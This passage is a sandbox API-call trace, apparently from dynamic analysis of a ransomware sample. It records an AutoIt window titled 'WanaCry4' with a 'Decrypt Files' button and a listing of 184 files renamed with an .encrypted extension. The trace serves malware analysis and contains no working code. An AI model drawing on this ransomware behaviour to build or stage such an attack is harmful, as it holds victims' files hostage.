CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.378] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.378] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.378] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.378] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.378] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.378] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.378] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.379] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.379] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.379] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.379] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.379] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.379] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.379] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.379] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0053.714] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x32af65f790, fWinIni=0x0 | out: pvParam=0x32af65f790) returned 1 [0053.714] GetSystemMetrics (nIndex=7) returned 3 [0053.714] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x32af65f790, fWinIni=0x0 | out: pvParam=0x32af65f790) returned 1 [0053.714] GetSystemMetrics (nIndex=8) returned 3 [0053.714] GetSystemMetrics (nIndex=4) returned 23 [0053.714] SetRect (in: lprc=0x32af65f790, xLeft=0, yTop=0, xRight=800, yBottom=650 | out: lprc=0x32af65f790) returned 1 [0053.714] AdjustWindowRectEx (in: lpRect=0x32af65f790, dwStyle=0x84c00000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32af65f790) returned 1 [0053.714] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3 GUI", lpWindowName="WanaCry4", dwStyle=0x84c00000, X=318, Y=92, nWidth=806, nHeight=679, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x201f4 [0053.714] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.714] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x81, wParam=0x0, lParam=0x32af65f140) returned 0x1 [0053.716] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.716] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x83, wParam=0x0, lParam=0x32af65f1b0) returned 0x0 [0053.716] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.716] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.716] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x5, wParam=0x0, lParam=0x28a0320) returned 0x0 [0053.716] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.717] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x3, wParam=0x0, lParam=0x760141) returned 0x0 [0053.717] SetWindowLongPtrW (hWnd=0x201f4, nIndex=-21, dwNewLong=0x0) returned 0x0 [0053.717] GetClientRect (in: hWnd=0x201f4, lpRect=0x32af65f790 | out: lpRect=0x32af65f790) returned 1 [0053.717] GetStockObject (i=17) returned 0x10a0047 [0053.717] SendMessageW (hWnd=0x201f4, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0053.717] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.717] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0053.717] GetCursorPos (in: lpPoint=0x32af65f730 | out: lpPoint=0x32af65f730*(x=761, y=513)) returned 1 [0053.717] ScreenToClient (in: hWnd=0x201f4, lpPoint=0x32af65f730 | out: lpPoint=0x32af65f730) returned 1 [0053.717] GetAsyncKeyState (vKey=1) returned 0 [0053.717] GetAsyncKeyState (vKey=2) returned 0 [0053.717] SetTimer (hWnd=0x0, nIDEvent=0x0, uElapse=0x28, lpTimerFunc=0x7ff756b75a9c) returned 0x7f42 [0053.717] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.717] IsDialogMessageW (hDlg=0x201f4, lpMsg=0x32af65fc10) returned 1 [0053.717] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.717] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0053.717] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.718] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Decrypt Files", dwStyle=0x50030000, X=176, Y=400, nWidth=113, nHeight=41, hWndParent=0x201f4, hMenu=0x3, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x40174 [0053.719] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.719] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x55, wParam=0x40174, lParam=0x3) returned 0x2 [0053.719] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.719] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0053.719] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.719] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x210, wParam=0x30001, lParam=0x40174) returned 0x0 [0053.719] GetStockObject (i=17) returned 0x10a0047 [0053.719] SendMessageW (hWnd=0x40174, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0053.719] GetClientRect (in: hWnd=0x40174, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.719] GetWindowRect (in: hWnd=0x40174, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.719] SetWindowLongPtrW (hWnd=0x40174, nIndex=-21, dwNewLong=0x3) returned 0x0 [0053.719] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.720] GetDC (hWnd=0x0) returned 0xe010572 [0053.720] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0053.720] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0053.720] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xffffffffca0a06ee [0053.720] SendMessageW (hWnd=0x40174, Msg=0x30, wParam=0xffffffffca0a06ee, lParam=0x1) returned 0x0 [0053.720] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.720] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="", dwStyle=0x503110c4, X=16, Y=56, nWidth=768, nHeight=329, hWndParent=0x201f4, hMenu=0x4, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x40172 [0053.735] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.735] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x210, wParam=0x40001, lParam=0x40172) returned 0x0 [0053.735] GetStockObject (i=17) returned 0x10a0047 [0053.735] SendMessageW (hWnd=0x40172, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0053.736] GetWindowTextLengthW (hWnd=0x40172) returned 0 [0053.736] SendMessageW (hWnd=0x40172, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0053.736] GetClientRect (in: hWnd=0x40172, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.736] GetWindowRect (in: hWnd=0x40172, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.736] SetWindowLongPtrW (hWnd=0x40172, nIndex=-21, dwNewLong=0x4) returned 0x0 [0053.741] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.741] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0053.741] PeekMessageW (in: lpMsg=0x32af65f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f8f0) returned 0 [0053.741] PeekMessageW (in: lpMsg=0x32af65f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f8f0) returned 0 [0053.741] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0053.742] PeekMessageW (in: lpMsg=0x32af65f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f5d0) returned 0 [0053.743] CharLowerBuffW (in: lpsz="lresult", cchLength=0x7 | out: lpsz="lresult") returned 0x7 [0053.743] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7ffe2a3b0000 [0053.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x32af859510, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMessageW", lpUsedDefaultChar=0x0) returned 13 [0053.743] GetProcAddress (hModule=0x7ffe2a3b0000, lpProcName="SendMessageW") returned 0x7ffe2a3b6970 [0053.744] SendMessageW (hWnd=0x40172, Msg=0xc5, wParam=0x3b9ac9ff, lParam=0x0) returned 0x1 [0053.744] FreeLibrary (hLibModule=0x7ffe2a3b0000) returned 1 [0053.744] PeekMessageW (in: lpMsg=0x32af65f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f5d0) returned 0 [0053.744] PeekMessageW (in: lpMsg=0x32af65f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f5d0) returned 0 [0053.747] PeekMessageW (in: lpMsg=0x32af65f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f8f0) returned 0 [0053.748] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.748] CreateSolidBrush (color=0x0) returned 0x411007e2 [0053.748] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.748] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.748] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.748] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.748] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f750, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f750*=0) returned 1 [0053.749] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f740, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f740*=0) returned 1 [0053.749] ReadFile (in: hFile=0x18c, lpBuffer=0x32af86d310, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x32af65f780, lpOverlapped=0x0 | out: lpBuffer=0x32af86d310*, lpNumberOfBytesRead=0x32af65f780*=0x324a, lpOverlapped=0x0) returned 1 [0053.749] ReadFile (in: hFile=0x18c, lpBuffer=0x32af86d310, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x32af65f780, lpOverlapped=0x0 | out: lpBuffer=0x32af86d310*, lpNumberOfBytesRead=0x32af65f780*=0x0, lpOverlapped=0x0) returned 1 [0053.749] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0053.749] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f7c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f7c0*=12874) returned 1 [0053.749] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.749] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f7c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f7c0*=0) returned 1 [0053.749] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f710, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f710*=0) returned 1 [0053.749] ReadFile (in: hFile=0x18c, lpBuffer=0x32af86d310, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x32af65f750, lpOverlapped=0x0 | out: lpBuffer=0x32af86d310*, lpNumberOfBytesRead=0x32af65f750*=0x324a, lpOverlapped=0x0) returned 1 [0053.750] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.750] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0053.750] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.750] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.750] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f170, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f170*=0) returned 1 [0053.750] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f160, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f160*=0) returned 1 [0053.750] ReadFile (in: hFile=0x18c, lpBuffer=0x32af86d310, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x32af65f1a0, lpOverlapped=0x0 | out: lpBuffer=0x32af86d310*, lpNumberOfBytesRead=0x32af65f1a0*=0x324a, lpOverlapped=0x0) returned 1 [0053.750] ReadFile (in: hFile=0x18c, lpBuffer=0x32af86d310, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x32af65f1a0, lpOverlapped=0x0 | out: lpBuffer=0x32af86d310*, lpNumberOfBytesRead=0x32af65f1a0*=0x0, lpOverlapped=0x0) returned 1 [0053.750] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.750] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.750] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0053.750] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f080, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f080*=12874) returned 1 [0053.750] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.751] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f080, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f080*=0) returned 1 [0053.751] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x32af65efd0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65efd0*=0) returned 1 [0053.751] ReadFile (in: hFile=0x18c, lpBuffer=0x32af86d310, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x32af65f010, lpOverlapped=0x0 | out: lpBuffer=0x32af86d310*, lpNumberOfBytesRead=0x32af65f010*=0x324a, lpOverlapped=0x0) returned 1 [0053.751] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.751] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0053.751] SetWindowTextW (hWnd=0x40172, lpString="Encrypted files: 184\r\n\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x6") returned 1 [0053.766] SendMessageW (hWnd=0x40172, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0053.766] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.766] TranslateMessage (lpMsg=0x32af65fc10) returned 0 [0053.766] DispatchMessageW (lpMsg=0x32af65fc10) returned 0xffffffff [0053.766] GetForegroundWindow () returned 0x120182 [0053.766] GetWindowLongPtrW (hWnd=0x120182, nIndex=-21) returned 0xdc685c0 [0053.776] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.777] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb 